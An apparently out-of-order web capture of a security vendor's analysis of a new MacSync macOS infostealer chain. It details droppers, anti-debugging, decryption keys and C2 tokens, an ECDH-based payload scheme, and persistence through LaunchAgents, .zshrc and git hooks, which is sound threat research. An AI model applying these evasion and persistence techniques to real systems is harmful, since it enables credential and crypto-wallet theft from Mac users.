id="urvanov-syntax-highlighter-6ae4327ee081e511308967-2">3a1af2b397c6958e6c3ba3c75912d60e</div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0000 seconds] --> <p>The dropper decrypts and unpacks it, then places it at /tmp/.sys-&lt;16-digit random value&gt;.</p> <p>Inside is another dropper, but unlike the previous stages, this one includes anti-debugging protection. In particular, it checks whether it’s running on a virtual machine by making <code>sysctl</code> queries with the <code>kern.hv_vmm_present</code> and <code>machdep.cpu.brand_string</code> parameters. It also sets the <code>PT_DENY_ATTACH</code> flag with <code>ptrace</code> to prevent a debugger from attaching to the process. The payload is a shell script encrypted with AES in CBC mode, using the following key and initialization vector:</p><!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover wrap" id="urvanov-syntax-highlighter-6ae4327ee0822269871489" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;"> 3744f975113dfc552df982dcae699f9154a448e05a743bdfb641a463352bc13a 8d371f8a7a6dcc2655544ae13cbca03d</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4327ee0822269871489-1">1</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae4327ee0822269871489-2">2</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4327ee0822269871489-1">3744f975113dfc552df982dcae699f9154a448e05a743bdfb641a463352bc13a</div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae4327ee0822269871489-2">8d371f8a7a6dcc2655544ae13cbca03d</div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0000 seconds] --> <p><div class="wp-caption aligncenter" id="attachment_121389-2" style="width: 1728px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205929/macsync-new-version6.png"><img alt="Payload of the second dropper" aria-describedby="caption-attachment-121389-2" class="size-full wp-image-121389" decoding="async" height="142" sizes="auto, (max-width: 1718px) 100vw, 1718px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205929/macsync-new-version6.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205929/macsync-new-version6.png 1718w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205929/macsync-new-version6-300x25.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205929/macsync-new-version6-1024x85.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205929/macsync-new-version6-768x63.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205929/macsync-new-version6-1536x127.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205929/macsync-new-version6-740x61.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205929/macsync-new-version6-1600x132.png 1600w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205929/macsync-new-version6-800x66.png 800w" width="1718" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121389-2">Payload of the second dropper</p></div></p> <p>As shown in the screenshot above, the second dropper delivers a downloader script that retrieves the next-stage payload from the command-and-control server, decrypts it with AES in CBC mode using the following key and initialization vector, and then executes it in memory:</p><!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover wrap" id="urvanov-syntax-highlighter-6ae4327ee0824423353238" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;"> ff664112d3215c5d184689fc836e0dc6c1a47e42c34e70b2c3d356864bc4cb4c 09425f72de8bba18893dcd6f04115891</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4327ee0824423353238-1">1</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae4327ee0824423353238-2">2</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4327ee0824423353238-1">ff664112d3215c5d184689fc836e0dc6c1a47e42c34e70b2c3d356864bc4cb4c</div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae4327ee0824423353238-2">09425f72de8bba18893dcd6f04115891</div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0000 seconds] --> <h3 id="a-couple-more-scripts">A couple more scripts</h3> <p>Inside the retrieved script, we can immediately spot several familiar indicators associated with the MacSync malware family:</p> <ul> <li>The main function in the script is named <code>daemon_function</code>.</li> <li>The stolen data is uploaded to the command-and-control server via PUT requests. The data in the requests is sent in 90-megabyte chunks. In earlier versions, the chunk sizes differed.</li> <li>One way to establish persistence on a system it uses is to inject a malicious command into the .ZSHRC, the configuration file for the ZSH interpreter, which contains commands that run each time the interpreter starts.</li> <li>The URL path where the backdoor executable is stored on the command-and-control server begins with the /loader/ directory.</li> </ul> <p><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210007/macsync-new-version7.png"><img alt="" class="aligncenter size-full wp-image-121390" decoding="async" height="2013" sizes="auto, (max-width: 1224px) 100vw, 1224px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210007/macsync-new-version7.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210007/macsync-new-version7.png 1224w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210007/macsync-new-version7-182x300.png 182w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210007/macsync-new-version7-623x1024.png 623w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210007/macsync-new-version7-768x1263.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210007/macsync-new-version7-934x1536.png 934w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210007/macsync-new-version7-213x350.png 213w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210007/macsync-new-version7-608x1000.png 608w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210007/macsync-new-version7-170x280.png 170w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210007/macsync-new-version7-547x900.png 547w" width="1224" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a></p> <p>The script performs the following tasks:</p> <ul> <li>Downloading and decrypting additional malicious modules: an infostealer, a backdoor, and a special utility for generating encryption keys and decrypting downloaded executable files</li> <li>Gaining persistence on the system</li> <li>Uploading data received from the infostealer module to the command-and-control server</li> </ul> <p>One detail stands out: instead of the usual encryption algorithms (XOR, AES, and so on), the attackers took a different approach to delivering malicious modules at this stage. It involves a selfmade utility called pkgunpack that implements two commands: <code>genkey</code> and <code>decrypt</code>. The malicious payload is decrypted as follows:</p> <ol> <li>The malware generates a public and private encryption key pair using <code>genkey</code> command from pkgunpack, whose generation function relies on an open implementation of the elliptic-curve Diffie-Hellman protocol on Curve25519: <a href="https://github.com/agl/curve25519-donna" rel="noopener" target="_blank">curve25519_donna</a>.</li> <li>The public key is encoded in base64 and sent to the command-and-control server together with a one-time code generated by the command <code>$(date +%s)-${RANDOM}-$$</code>.</li> <li>The server responds with the following JSON:<br/> <!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover wrap" id="urvanov-syntax-highlighter-6ae4327ee0826362766217" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;"> { "ok": true, "dek_wrap_b64": &lt;base64_encoded_encrypted_key&gt; , "build_pub_b64": "pFSxn/Uwg9bS45aVKCzA+8exSMfDHXpbpHC/f7G472w=", "crypto": "v2.5" }</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4327ee0826362766217-1">1</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae4327ee0826362766217-2">2</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4327ee0826362766217-3">3</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae4327ee0826362766217-4">4</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae4327ee0826362766217-5">5</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae4327ee0826362766217-6">6</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4327ee0826362766217-1"><span class="crayon-sy">{</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae4327ee0826362766217-2"><span class="crayon-h">    </span><span class="crayon-s">"ok"</span><span class="crayon-o">:</span><span class="crayon-h"> </span><span class="crayon-t">true</span><span class="crayon-sy">,</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4327ee0826362766217-3"><span class="crayon-h">    </span><span class="crayon-s">"dek_wrap_b64"</span><span class="crayon-o">:</span><span class="crayon-h">  </span><span class="crayon-o">&lt;</span><span class="crayon-v">base64_encoded_encrypted_key</span><span class="crayon-o">&gt;</span><span class="crayon-h"> </span><span class="crayon-sy">,</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae4327ee0826362766217-4"><span class="crayon-h">    </span><span class="crayon-s">"build_pub_b64"</span><span class="crayon-o">:</span><span class="crayon-h"> </span><span class="crayon-s">"pFSxn/Uwg9bS45aVKCzA+8exSMfDHXpbpHC/f7G472w="</span><span class="crayon-sy">,</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae4327ee0826362766217-5"><span class="crayon-h">    </span><span class="crayon-s">"crypto"</span><span class="crayon-o">:</span><span class="crayon-h"> </span><span class="crayon-s">"v2.5"</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae4327ee0826362766217-6"><span class="crayon-sy">}</span></div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0001 seconds] --> <br/> Here, <code>build_pub_b64</code> is the server’s public key, which is also predefined in the script itself, and <code>dek_wrap_b64</code> is a base64-encoded string that contains the payload encryption key. This key is encrypted on the server side with a shared secret computed from the public key generated with pkgunpack on the victim’s device.</li> <li>Then <code>decrypt</code> command from pkgunpack utility decrypts the key: <ol type="a"> <li>A shared secret is computed from the server’s known public key and the private key for the current session, using the same ECDH Curve25519 key exchange scheme that was used to generate the keys.</li> <li>The resulting shared secret is concatenated with the string <code>sn-dek-wrap-v1</code>, and a SHA-256 hash is computed from the result.</li> <li>Next, the <code>dek_wrap_b64</code> block received from the server is decoded. It has the following structure: <ol type="i"> <li>The first 5 bytes: additional authenticated data (AAD)</li> <li>The next 12 bytes: the initialization vector (IV)</li> <li>The rest: the ciphertext</li> </ol> </li> <li>The ciphertext is decrypted with AES in GCM mode using the previously obtained key, IV, and AAD. <p><div class="wp-caption aligncenter" id="attachment_121391-2" style="width: 1331px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210048/macsync-new-version8.png"><img alt="Decoded dek_wrap_b64" aria-describedby="caption-attachment-121391-2" class="size-full wp-image-121391" decoding="async" height="220" sizes="auto, (max-width: 1321px) 100vw, 1321px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210048/macsync-new-version8.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210048/macsync-new-version8.png 1321w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210048/macsync-new-version8-300x50.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210048/macsync-new-version8-1024x171.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210048/macsync-new-version8-768x128.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210048/macsync-new-version8-740x123.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210048/macsync-new-version8-800x133.png 800w" width="1321" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121391-2">Decoded dek_wrap_b64</p></div></p></li> </ol> </li> <li>The result is the key for decrypting the downloaded malicious payload. The payload, in turn, also contains an AAD and an IV in its header and is encrypted with AES GCM. The utility decrypts it and terminates.</li> </ol> <p>Note that at each individual stage, the utility zeros out buffers after using encryption keys and data, apparently to impede forensic data collection and dynamic analysis of samples.</p> <p>As mentioned earlier, at this stage, the script downloads only two modules: an infostealer and a backdoor. Once decrypted, both are .TAR.GZ archives; their contents are extracted, stripped of all extended attributes (such as <code>com.apple.quarantine</code>), and signed with an ad-hoc signature. The infostealer module runs first: it collects the data it needs, places it in a temporary folder, and compresses it into a .TAR.GZ archive, which the script then sends to the attackers’ server. Next, before launching the backdoor, the script sets up persistence for it and creates a backup copy. The backup copy, along with the other files it needs to operate, is placed in $HOME/Library/Application Support/System. This directory doesn’t exist in macOS by default; the script creates it. The backdoor disguises itself as the Finder application and achieves persistence in the system through the following methods:</p> <ul> <li>A LaunchAgent named com.apple.finder.agent</li> <li>Injection of a command that runs the .repair-run script when the ZSH interpreter starts from the .ZSHRC</li> <li>Injection of a similar command, which also runs the .repair-run script, into the global GIT <code>pre-commit</code> and <code>post-checkout</code> hooks</li> </ul> <p>The .repair-run script checks whether the backdoor files exist, restores them from a backup if they are missing, and re-creates and reloads the LaunchAgent. At the same time, it kills the <code>BTMNotificationAgent</code>, <code>NotificationCenter</code>, and <code>BackgroundTaskManagementAgent</code> system processes to prevent the system from notifying the user about the new LaunchAgent.</p> <p>One last thing worth noting about the script at this stage is its use of a custom HTTP header, <code>X-Upload-Token</code>, without which the C2 server responds to requests with errors. During our research, we observed the use of the following tokens: <code>b8b4b88205a8f594b95a841bc37342898f34cad8a5a9e4a22ce69a31a1208650</code> and <code>ff3ab9ef841630364818396f62e696b72aed162cf0b895b6643ef25dad79b51d</code>. The backdoor later uses these same tokens to communicate with the C2 server.</p> <h3 id="infostealer">Infostealer</h3> <p>The infostealer module ships as an .APP application, with its main executable written in Swift. As with previous AppleScript-based versions, the malware first asks the user for the administrator password. It adapts the window it displays to match the application it is impersonating. After the password is entered, the user sees a window that imitates a system notification about a corrupted application, offering to move it to the trash.</p> <div class="wp-caption aligncenter" id="attachment_121392-2" style="width: 1282px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210135/macsync-new-version9.png"><img alt="Fake stealer pop-up windows" aria-describedby="caption-attachment-121392-2" class="size-full wp-image-121392" decoding="async" height="774" sizes="auto, (max-width: 1272px) 100vw, 1272px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210135/macsync-new-version9.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210135/macsync-new-version9.png 1272w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210135/macsync-new-version9-300x183.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210135/macsync-new-version9-1024x623.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210135/macsync-new-version9-768x467.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210135/macsync-new-version9-330x200.png 330w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210135/macsync-new-version9-575x350.png 575w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210135/macsync-new-version9-740x450.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210135/macsync-new-version9-460x280.png 460w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210135/macsync-new-version9-800x487.png 800w" width="1272" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121392-2">Fake stealer pop-up windows</p></div> <p>Interestingly, instead of the method most macOS malware families use to verify a password, the dscl utility, the attackers used the Pluggable Authentication Modules (PAM) API. This is a fairly new technique for macOS malware, first observed in the wild in July 2026 in the <a href="https://www.jamf.com/blog/pamstealer-macos-infostealer-applescript-rust/" rel="noopener" target="_blank">Pam Stealer</a> family. It apparently caught the attention of malware authors, and we may see it used more often going forward.</p> <div class="wp-caption aligncenter" id="attachment_121393-2" style="width: 646px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210207/macsync-new-version10.png"><img alt="Password verification with PAM" aria-describedby="caption-attachment-121393-2" class="size-full wp-image-121393" decoding="async" height="486" sizes="auto, (max-width: 636px) 100vw, 636px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210207/macsync-new-version10.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210207/macsync-new-version10.png 636w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210207/macsync-new-version10-300x229.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210207/macsync-new-version10-458x350.png 458w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23210207/macsync-new-version10-366x280.png 366w" width="636" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121393-2">Password verification with PAM</p></div> <p>Many strings in the stealer (file names, directory names, team IDs, and so on) are XOR-encrypted and stored in static arrays. The encryption keys differ between samples and are generated based on the ciphertext length.</p> </div></div></div></div></div></div> <img src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/24092150/SL-MacSync-featured-scaled.jpg" width="300" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> <div class="c-article__main"> <div class="o-row c-article__container"> <div class="o-col c-article__content js-article-body"> <div class="js-reading-wrapper"> <figure class="c-article__figure u-hidden u-block@md"> <img alt="" class="attachment-securelist-2020-thumbnail-large size-securelist-2020-thumbnail-large wp-post-image" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/24092150/SL-MacSync-featured-1200x600.jpg" data-srcset="" decoding="async" height="600" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/24092150/SL-MacSync-featured-1200x600.jpg" srcset="" width="1200" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> </figure> <div class="c-article__authors u-hidden u-block@md"> <p class="c-block__title">Authors</p> <ul class="c-list-authors"> <li> <a href="https://securelist.com/author/sergeypuzan/"> <span>Sergey Puzan</span></a> </li> </ul> </div> <div class="js-reading-content"> <div class="c-wysiwyg"> <p>MacSync is a relatively young, rapidly evolving family of crypto/info stealers. First advertised on the dark web in 2025 as Mac.c, the stealer was later renamed to MacSync by its creators. The initial versions were implemented as AppleScripts and closely resembled the AMOS stealer family, but over time, MacSync developed distinctive features of its own, including a backdoor module. In this report, we discuss a new infection chain that differs significantly from previous variants. We first spotted it in the wild in September 2026.</p> <p>Key points:</p> <ul> <li>The developers of this family have overhauled their approach to payload delivery by replacing script-based droppers with binary ones.</li> <li>The main malicious payload now consists of modules written in Objective-C and Swift.</li> <li>At one stage of infection, the attackers use iCloud to deliver the next</li> </ul> <p>Kaspersky solutions detect the threats described below under the following verdicts:</p> <ul> <li>HEUR:Trojan.OSX.MacSync.*</li> <li>HEUR:Trojan-PSW.OSX.MacSync.*</li> <li>HEUR:Trojan-Dropper.OSX.MacSync.*</li> <li>HEUR:Trojan-Downloader.OSX.MacSync.*</li> </ul> <h2 id="technical-details">Technical details</h2> <h3 id="infection-chain">Infection chain</h3> <p>MacSync is an infostealer distributed under the malware-as-a-service (MaaS) model, so the specific delivery method for the first stage of the infection chain is up to the operators. Recent public reports on MacSync have mostly focused on modules delivered through social engineering and ClickFix-style attacks. However, both then and now, the malware has also spread disguised as free or cracked versions of popular applications, as well as under the guise of new software. For example, we found MacSync masquerading as a nonexistent crypto wallet app called Toria; the attackers not only created a dedicated web page for it but also promoted it on X and Telegram:</p> <p><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202332/macsync-new-version1.png"><img alt="" class="aligncenter size-full wp-image-121384" decoding="async" height="1855" sizes="auto, (max-width: 1426px) 100vw, 1426px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202332/macsync-new-version1.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202332/macsync-new-version1.png 1426w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202332/macsync-new-version1-231x300.png 231w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202332/macsync-new-version1-787x1024.png 787w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202332/macsync-new-version1-768x999.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202332/macsync-new-version1-1181x1536.png 1181w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202332/macsync-new-version1-269x350.png 269w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202332/macsync-new-version1-740x963.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202332/macsync-new-version1-215x280.png 215w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202332/macsync-new-version1-692x900.png 692w" width="1426" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a></p> <p>The latest version of the infostealer we discovered starts the infection chain with malicious DMG images. Even within a single campaign built around one fake application, we found two different ways the infostealer and backdoor modules were delivered to the victim’s device. In one, the payload inside the DMG was a compiled JXA script that, once launched, decoded a shell script and passed it directly to the interpreter without writing it to disk. In the other version of the application, the same script appeared at a later stage of infection, after a chain of droppers and loaders had run. We’ll take a look at the second infection chain in detail, since it is more complex and technically interesting. The infection scheme is shown below:</p> <p><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202439/macsync-new-version2-scaled.png"><img alt="" class="aligncenter size-full wp-image-121385" decoding="async" height="2560" sizes="auto, (max-width: 2383px) 100vw, 2383px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202439/macsync-new-version2-scaled.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202439/macsync-new-version2-scaled.png 2383w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202439/macsync-new-version2-279x300.png 279w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202439/macsync-new-version2-953x1024.png 953w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202439/macsync-new-version2-768x825.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202439/macsync-new-version2-1430x1536.png 1430w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202439/macsync-new-version2-1906x2048.png 1906w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202439/macsync-new-version2-326x350.png 326w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202439/macsync-new-version2-740x795.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202439/macsync-new-version2-261x280.png 261w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202439/macsync-new-version2-800x859.png 800w" width="2383" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a></p> <p>It’s worth noting right away that MacSync shows shared traits at almost every stage:</p> <ul> <li>All temporary files are placed in the /tmp directory. The same directory is where *.lock files are created to prevent the malware from running again.</li> <li>Once its task is complete, the module removes traces of its activity: temporary files, its own logs, and so on.</li> <li>All binary files are in the FAT Mach-O format and target devices with both Apple and Intel processors.</li> </ul> <h3 id="loader-calendar-and-two-simple-droppers">Loader, Calendar, and Two Simple Droppers</h3> <p><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202523/macsync-new-version3.png"><img alt="" class="aligncenter size-full wp-image-121386" decoding="async" height="501" sizes="auto, (max-width: 1192px) 100vw, 1192px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202523/macsync-new-version3.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202523/macsync-new-version3.png 1192w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202523/macsync-new-version3-300x126.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202523/macsync-new-version3-1024x430.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202523/macsync-new-version3-768x323.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202523/macsync-new-version3-833x350.png 833w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202523/macsync-new-version3-740x311.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202523/macsync-new-version3-666x280.png 666w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23202523/macsync-new-version3-800x336.png 800w" width="1192" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a></p> <p>In this infection chain, the payload on the disk image is an .APP application. When started, it first checks whether the whole bundle has the <code>com.apple.quarantine</code> extended quarantine attribute, and if it finds one, it runs the <code>xattr -cr &lt;app_name&gt;</code> command to remove all attributes. Next, it extracts an XOR-encrypted URL from its overlay and decrypts it with the key <code>73 6f 6e 6f 6d 61 62 6c 64 07</code>. After the encrypted data, there are 8 bytes indicating the length of the ciphertext, followed by the magic word <code>SONOMAC1</code>. It’s worth noting that the malware reads the overlay backwards: it first locates the magic word, then reads the data size, and then uses the size to determine the boundaries of the data block containing the ciphertext.</p> <p><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205748/macsync-new-version4.png"><img alt="" class="aligncenter size-full wp-image-121387" decoding="async" height="413" sizes="auto, (max-width: 1355px) 100vw, 1355px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205748/macsync-new-version4.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205748/macsync-new-version4.png 1355w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205748/macsync-new-version4-300x91.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205748/macsync-new-version4-1024x312.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205748/macsync-new-version4-768x234.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/09/23205748/macsync-new-version4-1148x350.png 1148w, 